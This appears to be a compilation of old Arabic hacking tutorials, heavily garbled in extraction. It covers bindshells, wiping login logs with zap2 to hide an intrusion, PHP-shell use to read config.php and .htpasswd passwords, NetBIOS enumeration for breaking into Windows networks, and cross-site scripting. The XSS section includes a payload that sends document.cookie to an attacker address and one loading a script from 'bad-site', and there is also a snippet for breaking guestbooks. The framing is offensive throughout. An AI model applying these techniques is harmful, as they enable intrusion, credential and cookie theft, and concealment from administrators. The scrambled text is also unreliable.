bindshellل   عباره عن دیم ل telnetdون شبیه جد با ت دیمون عباره عن بایند شی حقیقه التلن   في ال
..  
   

س منفذ  ت او منفذ یعني و لكنه لی ل هذا یقوم بفتح بور   UDP  بل منفذ TCPالبایند شی
ت  ل بهذا البور ل عند الاتصا طبعا بیعطیك شی   .. و 

ل سكان على  ضوع انه الادمین لما ییجي یعم ق في المو ف و الشی ری الجهاز بتاعه للتامین عاده و في الط
حیان السكن یكون   اغلب الا

روتوكول TCPعلى منافذ ال  ل سكان على منافذ ب   UDP  و نادرا جدا ان یعم
   
  -:  عملیه ازاله الاثار -

س  حسابك ..في نظاام الیونیك خول الى  ره .. عندما تقوم بالد ر م خ خول تعلمك با ى رساله عند اول الد ر فنكا ت
ت بها بال ت منه قم خل خول و رقم الاي بي الذي د   ..د

رساله دي  حیلاقي ال ل  خ ت باسم  یوزر و بعد كده الیوزر ده د خل   یعني سیادتك لو د
   

Last login: Sun Sep 24 10:32:14 from <yourIPaddress<.  
ف  حتتكش طبعا سیادتك كده     و 

ل للادمین و یقوله و یبلغه ب ت ایمی حیبع حصللان الیوزر ده لو كان ناصح    اللي 
حیبعتله رساله و یقوله  ل  حا طبع الادمین في ال   -:و 

حساب بتاعك و الاي بي بتاعه موجوود  ل على ال خ حد د ء االله.. متخافش یا واد ده وا   و ن ان شا
س  ء ابلغ البولی   ..حاتصل بمزود الخدمه في المنطقه و اساله عن رقم التلفون و ان شا

  =)و بالهنا و الشفا 
   

ت دي م ق دي المعلوما ط   وجوده في المنا
   
/usr/adm/lastlog   
/var/adm/lastlog   
/var/log/lastlog  
   

حهم باستخدام    ..  و دي ممكن تلاقیها في اي موقع مهتم lledیمكنك مس
ریقه الاستخدام  ط ف  ف للمساعده اقراه لكي تعر   ...  بیكون معاه مل

حاله استخدام  ف عن ذلك معلوماftpفي  ت یتخل رفع الادوا ضا یمكنك ازالتها  ل   ت ای
  lled   و هو شبیه بالاده السابقه wtedباستخدام 

ر  طبقنا الام ت ؟؟whoماذا لو  روو     و لقینا معانا ال
   

sh-2.03$ who  
  root     tty1     Sep 25 18:18   

   
حاله دي نستخدم    zap2ممكن في ال
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   :luser لو اسمك 
   

  sh-2.03$ ./zap2 luser  
  Zap2!  
  sh-2.03$ who  
  sh-2.03$  

  
.....  
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 ) "الجزء الأول (PHP Shellدرس عن الـ" 
  

$$$$$$$$$$$$$$$  
  Arab VieruZ: الكاتب

$$$$$$$$$$$$$$$  
  

س ر لینك ق والخداع المستخدمة و اوام ر ح الط ر ضوع للبي اتش بي شل یش    مو
ر حب موقع على سی صا رعب كل  ف ی ل مل حله اسهل مما یمكنالبي اتش بي شی ر و   ف

  
حولي  ضوع بسیط جداً لكن سأطوله قلیلاً فسم   :)المو

  
  

ء الأول    :الجز
^^^^^^^^^  
س ر لینك   اوام

  
*-----------------------------------------------*  
  

ت  رد الملفا ر س   ls -a: ام
  

رها ت المخفیة او غی رد جمیع الملفا   س
  
*-----------------------------------------------*  
  

ف  ت المل حتویا ض م ر ر ع   )هام جدا  (cat او cat -e: ام
  

حتویاته ض م ر ف وع   فتح المل
  
*-----------------------------------------------*  

ف  ف المل حذ ر    rm -f: ام
  

ف الذي ترید ف المل حذ   ل
*-----------------------------------------------*  

ف المجلد  حذ ر    rm -d: ام
  

ف المجلد الذي ترید حذ   ل
*-----------------------------------------------*  

خ  ر النس   cp -i: ام
  

ف الذي ترید خ المل   لنس
*-----------------------------------------------*  

ر اعادة التسمیة    mv: ام
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  لأعادة التسمیة

*-----------------------------------------------*  
ر : حظة ملا ر من الأوام ر لأم ت اكث حصول على معلوما ء الكتب ولل را س قم بش ر لینك ف المزید من اوام لمعر

ر ثم  ضع الأم     help–كم بو
ل    ls --help: مثا

*-----------------------------------------------*  
  

ء الثاني    :الجز
^^^^^^^^^  

ر    :كیفیة تنفیذ الأوام
  
*-----------------------------------------------*  
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راد تنفیذه-١ ر الم ربع للكتابة قم بكتابة الأم    ستجد م
  
ت و-٢ ض الملفا ت هنا تعر   المجلدا
  
ت فقط-٣ ض المجلدا    هنا تعر
  
ل علیه الآن -٤    مكان الفلودر الذي تعم
  
خطأ -٥ ث عند وجود  حد ضع العلامة لیخبرك ما ی    
*-----------------------------------------------*  
*-----------------------------------------------*  
  

ء الثالث    :الجز
^^^^^^^^^  
ق  ر ف الخدع والط ل هذا المل می ح   :لت

  
*-----------------------------------------------*  
  

  !!!هنا تأتي المشكله 
  

ق التي اتبعها انا شخصیاً ر ض الط ض بع حیله وسنستعر ت مست   لكن لیس
  
ف-١ ل المل می ح ل    ایجاد ثغرة تستطیع منها ت ت الـ یثغرة الن: مثا حق   hacked.txtوك القدیمة 
*-----------------------------------------------*  
ص-٢ ری ح حب الموقع ذكي جداً و صا ق موقع معین وكان  خترا رید ا ض اننا ن ر     لنف

حث عن مواقع حاول الب ركة المستضیفة و ن حدید الش ریقه قد تنفع اولاً ت ط ر او على  هذي  رف س السی في نف
ح حاول نلقى ثغرة ن خ ون حبها دل صا س شركة الأستضافة یكون  فالأقل في نف ل منها المل   م

*-----------------------------------------------*  
  .... المواقع المجانیة التي تدعم البي اتش بي-٣
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 ) "الجزء الثاني (PHP Shellدرس عن الـ" 
  

$$$$$$$$$$$$$$$  
  Arab VieruZ: الكاتب

$$$$$$$$$$$$$$$  
  

ضوع مباشره   نتابع المو
  

رابع  ء ال   :الجز
^^^^^^^^  

حصول على الباسورد ق ال ر   :ط
*-----------------------------------------------*  

ضوع الـ  خذ مو ء سیأ   ٢ PHP Shellهذا الجز
ق  ق التي قد تواجه المختر ر حصول على الباسورد هي من اصعب الط ق ال ر   . ط

*-----------------------------------------------*  
ت-١ خذ الباس من ملفا س الـ  ا   config.php التي تسمى بالعادة My SQL اكس

ر التالي في الـ  ق تنفیذ الأم ری ط خذ الباس عن     PHP Shellویمكن ا
ر التالي ف وكتابة الأم   cat config.php  الذهاب الى المجلد الذي یوجد فیه هذا المل

ت را حد المتغی ر الباسورد في ا   وسیظه
*-----------------------------------------------*  
ف الـ -٢ ر من مل خذ الباس المشف   htpasswed. ا

ر واذا لم تجده قم بفتح  رف ت السی حد مجلدا ف في ا حتى تجد مكان htaccess.الـ  ویمكن اجاد هذا المل  
ق ف الساب ل  المل   /home/site./htpasswds/forum/admin/passwd: مثا

ر    cat /home/site./htpasswds/forum/admin/passwd: الأم
ر  ر بتشفی رDESستجد الباس المشف    یعني تقدر تفكه بجون ذا رایب

user:nymw٤oS٣oerdY  
*-----------------------------------------------*  
ر او -٣ رف ریقة الأكستینشون سی ط  service.pwd:   

ر  ج مشف ت بی رون ص بالف ج ویوجد به الباسورد الخا ت بی رون   DESوهو تابع للف
ل مجل خ   :د ویوجد دا

tvp_itv_  
ر    cat /home/site/www/tvp_itv_/service.pwd: الأم
ص بهذا القسمDeXXaراجع درس : رابط     الخا

user:nymw٤oS٣oerdY  
*-----------------------------------------------*  
حظة الا وهي -٤   : لا یمكن اعتبارها كقسم لاكن كملا

ت مثل الـ  حد في سكربتا ض المواقع تت خول هذا  phpMyAdminان بع ص لد خا س  ویكون لكن موقع اكس
ت ف الـ  السكرب ت للقاعدة یعني یمكن تعدل وتمسح اي قاعدة لأي config.phpویكون بمل رو  یكون ال

  !!موقع كان 
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 ) "الجزء الثالث (PHP Shellدرس عن الـ" 
  

$$$$$$$$$$$$$$$  
  Arab VieruZ: الكاتب

$$$$$$$$$$$$$$$  
  

س و ا ء الخام رالجز خی   لأ
^^^^^^^^^^^^^^   

ر الذي اصابني ء لكن لابد من وجود مشاكل سأذك ت معظم الأشیا رف   بما انك الآن ع
*-----------------------------------*  
ى -١ ر خ ض المواقع الا ر   : مشكلة ع

ر في  رف   :جمیع المواقع الموجودة في السی
/home  

ر  ت : الأم رو   /قم بالذهاب الى مجلد ال
ls -a /home  
ضهست ت موقع ما لعر حوي ملفا ت كل مجلد ی   جد مجلدا
ls -a /home/SITE  

SITE = اسم الموقع او المجلد  
*-----------------------------------*  
ت الموقع -٢ ض ملفا ر   : مشكلة ع

خول  ت لا تسمح بد را رف ض السی حب الموقعhomeبع صا ت او  ت رو ت ان ل    الموقع الا اذا كن ح   :ال
خول    : قم بد

home/site/public_html/  
  او 

home/site/www/  
ض  ت الموقع التي تعر خول الى ملفا   لد

*-----------------------------------*  
ل -٣ ر لا تعم ض الأوام    بع

ر رف ل السی رن ص بك خا ل باك دور  حلها ویجب استعما ل ...هذه مشكله من الصعب  رن   .اقصد اصدار الك
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  "anmapشرح أداة " 
  

$$$$$$$$$$$$$$$$$$  
ر الخجول: مترجم بواسطة   الهك

$$$$$$$$$$$$$$$$$$  
  

  : الإسم 
nmap - ت و ماسح أمني ف عن الشبكا    أداة كش

  
  : الخلاصة 

ت -أنواع المسح     الخیارا
  

  : الوصف 
  

رة  ت كبی ء النظام  و الأفراد بمسح شبكا ج لكي یسمح لمدرا رنام م هذا الب ضیفین  صم ر و معرفة الم ری لتق
ت وماذا یق خدما ت المسح مثل . دمون من  ر من تقنیا   : وتدعم الإنماب  عدد كبی
UDP  

TCP connect()  
TCP SYN (half open(  

ftp proxy (bounceattack(  
Reverse-ident  

ICMP (ping sweep(  
FIN  

ACK sweep  
Xmas  Tree  
SYN sweep  

and Null scan .  
  

ت المتقدمة  ضاً عدد من الممیزا   : مثل..الإنماب تقدم أی
  

remote OS detection via TCP/IP fingerprinting  
stealth  scanning  

dynamic   delay   and retransmission  calculations  
parallel scanning  

detection of down hosts via parallel  pings  
decoy  scanning port  

filtering detection  
direct (non-portmapper) RPC scanning  

fragmentation scanning  
flexible target and port specification  
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ت علیها عملیة  ری ت المهمه التي توجد في الآلة التي أج ج الإنماب عادةاً ماتكون على هیئة قائمة بالبورتا نتائ
روتوكول. المسح  حالة والب ت وإسم الخدمة والعدد وال    والإنماب دائماً یعطینا البورتا
حال حةال رش ر م حة أو غی رش حة او م   ه إما أن تكون مفتو

ت ل بهذا البور ف تقبل أي إتصا حة تعني أن الآلة سو   مفتو
روول أو فلتر  حة تعني أن هناك فای رش رشح(الم ت وتمنع الإنماب من ) م ى تغطي هذا البور ر خ   أو أي عقبة أ
حاً أو لا ت إذا كان مفتو حالة البور   معرفة 

ت رشح تعني بأن هذا البور ر م روول أو فلتر غی ق ولا یبدو أن أي فای ف لدى الإنماب بأنه مغل رشح( معرو ) م
حاولة الإنماب ل في م خ حدة  تد حالة وا ت ولا یمكن معرفتهم إلا في  حالا حة هي أغلب ال رش ر الم ت غی والبورتا

ت حالة ترشیح ، هي أن یكون معظم البورتا ت لهم عملة المسح في  ری   التي أج
ت ال ت وبالإعتماد على الخیارا ریمو ت الممیزة التالیة في ال حالا مستخدمه في الإنماب فیمكن أن یبلغ عن ال

ت    : هوس
   النظام المستخدم

TCP sequencability  
ت  رتبطة بكل بور ج الم رام ء المستخدمین الذین یشغلون الب   أسما

ء الدي إن إس    أسما
ى ر خ ء الأ ض الأشیا   ...وبع
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 "لسيرفرات بدون ثغرات طریقة لإقتحام ا" 
  

$$$$$$$$$$$$$$$$$$  
  network access: الكاتب

$$$$$$$$$$$$$$$$$$  
 

خول ق معروفه تمكنك من الد ر ط حظ % ٥٠ولو بنسبه  فیه  ت الموجوده بالعالم لا را رف  %٥٠على اغلب السی
 

ت راد اولا الجهما ر الذي ی رف ت عامه عن السی ض منها تكوین معلوما ر   مهاجمتته ومنالاولى دائمایكون الغ
 . هنا نبدا الهجوم وعلى اي اساس یتركز الهجوم

خدمه رمان  ح حیانا یكون هجوم  ت الموجوده  ا ر والمعلوما حسب الموجود والمتوف ل  حام كام حیانا هجوم اقت وا
ض اننا ودنا نخش على شركه معینه باسم.......... لدینا ر  الخطوه الأولى هي aswind.COM طیب لنف

ف على مدى ع ركه وهذا سهل ip نوانالتعر   الخاصه بهذه الش
ل في ت تستاهل INTERNIC.NET موقع اول شي انصح بالتسجی خدما   حتى یعطونك 

ریقتین لمعرفه الاي بي ط   اولا هناك 
ق الموقع ری ط  INTERNIC.NET عن 

ر  ج الدوس بالام رنام ق ب ری ط   :والثانیه عن 
NSLOOKUP 

SET TYPE = ALL 
aswind.COM 
ح تطلعلك المع ت هذيرا  :بالضبط  لوما

Domain Name: ASWIND.COM 
Registrar: ONLINENIC, INC. 

Whois Server: whois.OnlineNIC.com 
: Referral URL/com.onlinenic.www://http 

Name Server: DNS.ASWIND.COM 
Name Server: NS1.ASWIND.COM 

Updated Date: 01-apr-2002 
ت aswind.com معنا الكلام هذا ان شركه ت ارقام الملقاما ضع  DNS = 2الخاصه ب و

خادم٢یعني عدد    DNS رفرین ر یعني هناك على الاقل سی ت لها نش یعني هم  DNS شغالین بخدمه وسو
ل طاقه التشغی ر من  خذ كثی ح یا ضوع مارا خاصه یتعتقدون ان المو   DNS للأجهزه 

تهنا  ل بیانا خول وتعدی ل للد ر واسعه شوي بمعنى ان العملیه DNS في مجا ر عنوانین من  تصی فقط قم بنش
ر من عنوان لنفول  aswind.com فقط مثل ماسوو Ip عنواوین ض انه فیه اكث  . مثلا ٦لكن لنفتر

ت ركا ح على الش ضع عنواونین عشان كذا اقتر خوادم IP و ضع  ر وو ئه على اجهزه قدیمه وبطی DNS للنش
حاجه ل DNSل لأنك اساسا في  خدمه WIN2K داینامیكي وهذا یعني انك تقوم بتشغی على جهاز  DNS و

حد وهذي من ل وا ص فقط با خا ت جهاز  ضع   DNS الافكار الجیده في نظري اذا و
ض انك ر ت شي على اجهزه طیب لنف وبما انك في بدایه هجوم هذا یعني انه عندك متسع من  DNS مالقی

ت ت علیها مناذن قم ب الوق حصل ریب جمیع العناوین المتوفره لدیك والتي   وصدقوني فیه HowIS تج
ت مممكن انها تمسح مجموعه ت موجوده بالن   موجوده في شبكه معینه IP ادوا

 
ف اسمه طیب قم ل مل حصل  IP لكل عنوان NetBios یوجد فیه اسم LMHOSTS بعم ت انك ت استطع
  علیه
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ت ان الشبكه من كلاس رف ت ع ف٢٠٠٫٢٠٠٫٢٠٠٫٠وعنوانها  C یعني ان  باسم LMHOSTS  سو لك مل
NetBios ف باسم ل N2 = 200.200.200.2 ومل حتاج عم  Net view وهكذا بعدین ت

//servername لكل اسم من N1 إلى N254 ریقه س بط ت ب  ثانیه یعني كانك تسوي سكان بور
 ٢٥٤ إلى جهاز رقم ١من جهاز رقم 

ف تش حه سو حی طبعاً تغلوبالنسبه للأجهزه الص ر متصله فلن تستجیب   الخدمه فیها ام العناوین الغی
ت الا الان  \ماتقدر تسوي شي  طیب ان

حساب س تقدر تتاكد من  س  موجود والا لا او تم Administrator ب م بنف ره او اذا هناك یوزر نی تغیی
حصل علیه ل ماتقدر ت حا ت بطبیعه ال ت ان حیا   بسهوله الصلا

ح خلفیه لل ءاذن هناك ابواب  ض اسما ق الوصول لبع ر ض الط المستخدمین الموجودین في  صول علیه من بع
ر عیب من عیون ركه وهذا یعتب ش لانها تطنشهم Windwos الش   ههههههههه مدري لی

ت ماتقدر تسویه س ألا الان ان خلاله ب ف من  ر تقدر تعر ت لازم  فیه ام ق وصول مباشر یعني ان ح لانه مالك 
حصل على ر هو لاي یوزر username and password ت ل الام وهو  net user موجود في المجا

ضلك جمیع المستخدمین الموجودین ل یستعر  بالمجا
ء بالهبل ههههههه حصول على اسما ریقه لل ط   لكن فیه 

ف ؟؟  كی
ل اسمه فقط بل اسم جهازه الان س فقط بتسجی خول یقوم جهازه لی ل د یعني على  عندما یقوم مستخدم بتسجی

ر ل مدی ل المثا راقبه النظامسبی خدمه اسمها م حمه یشغل  صار عنده ز حد   الشبكه اذا  ف انه وصل لل حتى یعر
  الأقصى

خدمه خول تقوم  ل الد حد  Messenger Service عندما یقوم مستخدم بتسجی ل اسم المستخدم كا بتسجی
ء ت ع الموجودین في الشبكه الي NetBios اسما خل ض انك د حث عنهم وعلى افترا س تب ت اساسا جال لى ان

ل IP 200.200.200.200 خادم بعنوان ص اذا قام بعم  nbtstat -a فأن اي شخ
 واسم المستخدم واذا كان جهازك سیتكمن من معرفه اسم جهازك 200.200.200.200

MSBROWSER  ل ( او لا ث عنها بالتفصی حد ف ات   )سو
ص باسم طیب ض ان فیه شخ ر تموجود في الشبكه فاIP 200.200.200.50 ورقم John لنف  نك اذا قم
ل ص باسم Nbtstat -a 200.200.200.50 بعم رلك انه فیه شخ ضه ح ی  واسم جهازه john را

johnPC  
ل یكون( الأن موجود معك اسم مستخدم  حتما ش) Administrator ا   نسوي طیب و

 ؟
خدمه ل  ل اسمك( في جهزك  Messenger Service قوم بتعطی ق یعني بتخش  ولن یتم تسجی في النطا

  )مخفي 
لو ر MSBROWSER بالسنبه  ل الام   nbtstat -a اذا شفتها بعد عم

ء التي خطا ر الا ل وهذا من اكب ض رئیسي للمجا راقب  هذا یعني انه استعرا ت لان م ء الشبكا یقومون بها مدرا
خ لا یستطیع التجمیع وتستطیع استغلال ل یدو خلیه المجا ت الدا ت دائما في الشبكا را   مثل هذه الثغ

حصل ت الان    ت على اسم المتسخدمطیب ان
ت جهازك مع الشبكه لكن ضمی ت  رور وهذي هي المشكله یعني ان حتاج كلمه الم ت م حصل على  ان ت ت ماقدر

حصل علیها رور لكن تقدر ت س الشبكه  nt senstiver كلمه الم حس ش ماني متاكد من  (او مت معلی
ق    ) .السبیلن

رور حصل فعلیا على كلمه الم ف اقدر ا   طیب كی
ت اصلاغالبا ماتك رور المستخدمین تاففه جدا هاذ اذا وجد ت م   ون كلما

ج مثل یعني رنام ل لك المشكله l0pthcrack ب ح   ....ی
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 "Cross Site Scripting"  
  

$$$$$$$$  
  tcp :الكاتب

$$$$$$$$  
  

ت    :المتطلبا
  

  HTML معرفة تامه بلغة 
  

ق وهي  ت السكربتین ق على لغا ر متعم   JAVASCRIPT ,PERL ,CGI ,VBSCRIPT اطلاع غی
  

ل ت والهتم ر شخصیة المصایب كلها من الجافا سكرب   ومن وجهة نظ
  

==========================================================  
  

ف المنشوده    :الاهدا
  
ت هامه من جهاز المستخدم*    افهام القارئ عن الكیفیة التى یتم فیها سرقة معلوما
  
ت من نوع *  ق المنتدیا خترا ت من البهب نیوك او YaBB and UBB او VBULLETINا  او المجلا

ت نیوك   بوس
  
ف الجلسة من المستخدمین* ختطا ء عن الكیفیة التي تتم فیها سرقة الكوكیز او ا را   افهام الق
  
ق*  خترا ل الا خ   ان یستطیع القارئ توسیع مدا
  

  :المشكلة 
  

ت سكیب  ت الوب مثل الاكسبلورر او ن ضا ف فان مستعر ص او . ..كما هو معرو ت النصو خ تاتي مترجما ال
ت   السكربتا

  
ت معین حة كان بها سكرب صف طلبنا  ت على جهاز المستخدم فلو اننا  خلها ویتم ترجمة السكربتا   مبنیة دا

  
حه المطلوبه  س الصف ره على نف ت ویظه ض یترجم هذا السكرب   .فان المستعر

  
ض مثل هذه ا ش فانها ترف ت النقا ت او مجموعا ق للخصوصیةاما بالنسبة للمندیا ر خ رها  ت وتعتب   لسكربتا

  
حساسة من المستخدمین ت  ض سیئة لسرقة معلوما را   او قد تستغل في اغ

  
ت  ضح كیفیة ادراج السكرب ل التالي یو   :المثا
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Hello FOLKS board. This is a message.  
  
>SCRIPT<malicious code>/SCRIPT<  
  

This is the end of my message.  
  

خبیثmalicious codeان كلمة  حتوي على كود  ت وقد ت حقنها في بین علامتي السكرب    تم ادرجها او 
  

ت  رسل بیانا ق او ی ر ت ومطوروا یمنعونها الا اذا مكنها الادمن... یس ج المنتدیا رام خ لذلك فان مصمموا ب   ال
  

ل  م او قد یتم استخدامها اذا مكن المنتدى تفی خاHTMLاو المصم ت مكان  ج مثلا یتم ادراج السكرب   صیة الام
  
>script<document.write('>img 

src="http://my_ip_address/'+document.cookie+'">؛'</script<  
  

ق  ری ط رسل لك عن  رید او ی رسل لك بالب حة او ی صف ت ان یكتب على شكل رابط في  او قد یستطیع السكرب
ر   المسنج

  
حة صف ل رابط في  ضح لك كیفیة عم ل التالي یو   والمثا

  
>A HREF="http://example.com/comment.cgi? mycomment=>SCRIPT<

malicious code>/SCRIPT<" <Click here>/A<  
  

ق المذكوره اعلاه وتضغط علیه سینفذ  ر حد الط ل الكود انها فقط عندما یصلك با ر هنا وركز في كیفیة عم انظ
ت   السكرب

  
ت  ض ان السكرب ر ر لنف ح اكث ر حظاتك لcomment.cgiوللش رسل ملا ت ی حب الموقع او قد یكون  سكرب صا

حث ت للب   سكرب
  

خله اسمه  ر دا حتوي على متغی ت او mycommentفي الموقع او المنتدى وهو ی خلا خذ المد  یا
ت التي تكتبها حظا   الملا

  
خیمة فبدل ان ج و حث ستكون النتائ ت دینامیكیة ناتجه من الب حا صف حث ویولد  ت ب رناه انه سكرب   فلو اعتب

  
حیویة او ا ت ال حا ج الصف لینت خ ت دا ضمن السكرب حظ الفكره هنا فقد  ت منه لا ج مایطلبه السكرب   لنشطه سینت

  
ت  ر من السكرب خذ اوام ص استخدم لیأ حقل النصي نصو خذ ال   .حقل نصي فبدلا من ان یا

  
ر  حتى اعقد الامور اكث ل التالي و حظ المثا   :لا

  
>A HREF="http://example.com/comment.cgi? mycomment=>SCRIPT 

SRC='http://bad-site/badfile'></SCRIPT<" <Click here>/A<  
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ر خ ف من موقع ا ر لیكون مستخدما في ادراج مل طوره اكث ره  ق لكن هذه الم ت الساب س السكرب  هنا استخدم نف

  والذي
  

ت المذكور BADFILEهو بالاسم  ق السكرب ری ط ى عن  ر خ ل فیه عدة مصادر ا خ ت اد  ولان مصدر البیانا
  فأن هذا الهجوم

  
رمجة عبور الموقع "  او الترجمه من عندي cross-site scriptingیسمى ب  رنا " ب لاننا عب

رمجة   باستخدام ب
  

حظ في السیكیورت ت تلا ر من موقع واذا كن ت اكث س او المواقع الامنیه تختصر ب السكربتا  CSSي فوك
ختصار   وهي ا

  
ل cross-site scriptingل  س  ق الانماط المتتالیةCASCADE style sheets   ولی    اي اورا
  
  

ت اي من الوسوم التالیة ل بدل الوسم او علامة السكرب خ   قد ید
  
>SCRIPT> ،<OBJECT> ،<APPLET ،<and> EMBED<  
  

س الافكار السابقة یمكن تنفیذ HTMLمن وسوم > form<وسم النماذج ومن الممكن ان یكون هناك   وبنف
ر   الاوام

  
ى ر خ ت ا حا ى او توجیهك لصف ر خ ت ا   منها لسرقة الكوكیز او بیانا

  
ر والیونیكود تستطیع الان ان تفهم ما اقصده ت ماكتبته عن التكوید السداسي عش ت قرا   اذا كن

  
   

  
=========================================================  

  
ل    :ولمزید من التفاصی

  
html.02-2000-CA/advisories/org.cert.www://http  

  
  

html.css/2002/02/20/a/pub/com.perl.www://http  
  

...  
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 "كود تدمير سجل الزوار " 
  

$$$$$$$$$$  
  العبقري: الكاتب

$$$$$$$$$$  
  

حجمه ر جدا ب صغی ل،كود  ر سجل الزوار بالكام ر بقدرته على تدمی طبعا...كبی ل توقیع  انتم تعرفون  كیفیة عم
ل-الأسم،في سجل الزوار رك للموقع- موقعك الشخصي- الأیمی ریقة-تقدی ط والنقطه المهمه ......الأستدلال  

  وهي كتابة تعلیقك على الموقع؟؟؟؟؟؟؟
 

ف حن سو ق ن حسب ما هو مطلوب ولكن عندما نأتي لكتابة التعلی ضع كل شي    :نقف ونكتب...........ن
.  
.  
.  
.  
.  
.  
.  
.  
.  
.  
.  
.  
.   
  
  

  :هذا هو الكود 
================================================== 

  
h3>put your text here<xmp><plaintext><-- 

  
================================================== 

 
ل ....وهذا كل شي .... put your text here شي ترید في مكان یمكنك كتابة اي بعد توقیعك اعم

ش ری حصل ریف ر ماذا    وانظ
  

حظه   :ملا
=====  

ض  ل مع بع   ...!الزوار؟ انواع سجلالكود لا یعم
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 "شرح شبه مفصل عن الثغرات " 
$$$$$$$$  

 icer:الكاتب
$$$$$$$$  

  
ضوع الیوم ینقسم الى التالي   :المو

ت ؟  -١ ف تجد اكسبلویتا  كی
ل -٢ ف تستعم ت  كی ت ( الاكسبلویتا  ؟) دعونا نسمیها استثمارا
ت -٣  ... انواع مختلفه من الاستثمارا
حث ع  -٤ تمواقع مفیده للب را  ... ل الثغ

× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 
a face at the interface : 

ت عل نظام روو حصل عل ال ت تستخدم عاده لكي ت ت هو عباره..معین  الاستثمارا روو   و ال
ختراقه ر النظام الذي ترید ا ت دایما ما توجد... عن الادمینیستراتور او مدی   الاستثمارا

ف م خول بواسطه البواسطه مل طبیعبه  http عین یجعك تستطیع الد  ..بصوره 
حث عن هذا الاستثمار  scanner لذلك نستخدم ت مثل یو جد....لب  العدید من الاستثمارا

BOF (buffer over flow) , DoS ( denial of service) ,  
ت  DoS و على فكره انا ا اؤمن ان ال هجوم ال  ...هي اكسبلوی

ضا تالث و یوجد ای ض و مسح و الكتایه على الملفا ر ر مثل ع ض الاوام ت التي تتیح لك تنفیذ بع را   غ
رها  حد....مث الاكستینشنز و غی ر فلو فهو یشبه الى  ر اوف ضوع البوف ر بالنسبه لمو   كبی

ل ت DoS ا روو حك ال ت و یمن ض من المعلوما ر بفی رفی  . حیث یعتمد على ارباك السی
ر مما یؤدي GET / POST الفهو عباره عن ارس DoS اما هجوم ال رفی ل السی ل ا  ا
ث ر  OVERLOAD حدو رفی ركزیه للسی حده المعالجه الم ل اللي هو عباره عن جهاز(لو  یعم

ر) ساعه  24 رفی ل و یصبح السی  .... OFFLINE فیتوقف الموقع عن العم
× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 

 
 
ت ؟  -١ ف تجد استثمارا  كی

ر فانه یجب علیكلكي  رفی ره معینه في سی ر ثغ ره موجوده في  تستطیع ان تستثم اولا ان تتاكد ان الثغ
ر رفی  السی

ل ره موجوده ام لا..معین  و لما كان الاستثمار عباره عن فای ت الثغ ریقتین لمعرفه ما اذا كان ط  ..فانه یوجد 
ق ری ط ض ثغ اما عن  حاله بع خلال المتصفح كما في  ق مباشره من  ت امتصفح مثل الیونیكود اوالتطبی  را
ج ت بی رون  الف

ص الموقع  ح رز في ف ت..او ان تستخدم السكان را ف ان ثغ رز ال طبعا من المعرو  المتصفح لها سكان
threads 

ف له cgi scaners و هي تسمى ال ر یكون جاهزا  بعضها ممكن ان تضی خ ض الا ت و البع را ت بها ثغ ملفا
.. 

رز و ان ر من السكان خ حبذه و هناك نوع ا  <<< shadow security scaner... ا
حسن المواقع..... ت هو على فكره من ا را ث الثغ حد و هو  rootshell.com التي یمكن ان تجد بها ا

حتوي على   ی
حث رك ب ح حده او كلمتان مثل م حث عباره عن كلمه وا ح للب ف  red hat 7.2 یكفي ان تضع مفتا و سو

حتوي على تجد ت التي ت را  العدید من الثغ
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red hat 7.2 ...... 
 

× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 
 
ت ؟؟ -٢ را ف تستغل هذه الثغ  كی

ر  حصون موقع بسكان ر من الناس عندما یف خاصه ال(الكثی ت معینه  ( shadow و  و یطلع لهم استثمارا
ش یسوون..   لا یعرفون ای
 ...كذا؟؟؟؟ بعد

حتلاقي ل الشادو  ت بتستعم ره بج url لو ان  ..تقره كل كلمه تلاقیها هناك  تزرو العنوان ده و..انب الثغ
ى یبقى url او اذا لم تجد اي ر خ رز الا ح الموقع في السكان ره و ترو خد اسم اثغ   rootshell.com تا

ره و حث اسم الثغ رك الب ح ء االله في  و تكتب في م ت ان شا ت بتلاقي استثمار لهاي % ٩٩ان حالا من ال
ره  ..الثغ

ف تستخ ء زي كده دمهاو كی  ....... و اشیا
 
 

× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 
ت  -٣  :انواع مختلفه من الاستثمارا

حك ت یكون هدفها هو من ر من الاستثمارا ر  طبعا الكثی رفی ت على السی روو ر..ال ت هو المدی  معنى كلمه روو
ر commands على ال لا یوجد اي قیود.. او الادمین  ت یكتبها اللي ال ت على ..وو حیا اي لك كل الصلا
ر رفی  السی
حصول ت ال و ال را ت مثل ثغ را خلال العدید من الثغ ت یمكن ان یتم من  روو  و BOF و ال , http على ال

رها   ..غی
ت  را ل الثغ ریقه عم ط ف.. كها تعتمد على  حذ ءه و  حیه قرا صلا ت و  فهي قد تعطي لك  و الكتابه عل الملفا

ضا  ای
ت الى ال ر رفع ملفا رفی  ....سی
ف او قد تعطي لك حه مثل المل ض صوره وا ریه و اسم الیوزر اما في  ره config.inc الكلمه الس  او مشف

 بمقیاس
DES/MD5 ... ف س .... etc/passwd/ كما في المل  ... في انظمه الیونیك

ر هجوم ال حد كبی ر فلو فهو یشبه الى  ر اوف ر  و لكنه لا یسبب DoS بالنسبه للبف رفی رر للسی ما یسببهض  مثل
ر DoSهجوم ال حیان یكون البف ر تنتهي دائما  المهم انه في اغلب الا رفی ر للسی ل اوام عباره عن ارسا
 باعطائك

ت  روو حیه ال ر و هذا... صلا رفی ل من الداتا فیؤدي الى ارباك السی ر لكم هائ رفی ل السی  .. بسبب استقبا
 

× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 
× × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × × 

خلالها   -٤ ت من  را حث عن الثغ  :مواقع مفیده للب
ت الجدیده حث عن الاستثمارا  :في هذه المواقع  یمكنك الب

packetstorm.securify.com /.securityfocus.com /www.insecure.org  
/tk.redi.tshellroo://http  ف تجد المزید حث سو رها اب   ...:).و غی
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 "كیف تستخدم الثغرات " 
  

$$$$$$$$$$$$$$$$$  
  VoOoDa BE$T: الكاتب

$$$$$$$$$$$$$$$$$  
  

  :البدایة
  

. :txt   
ف نصي ف مل ج المكتوبة .. ویعني مل رام ت او  الب را ض الثغ حتوي على سورس كود لبع من الممكن اي ی

ر،  بالسي  ف كیفیة استخدامها..البی ءة لتعر ل القرا   ..اكم
><><><><><><<><>  

. :c  
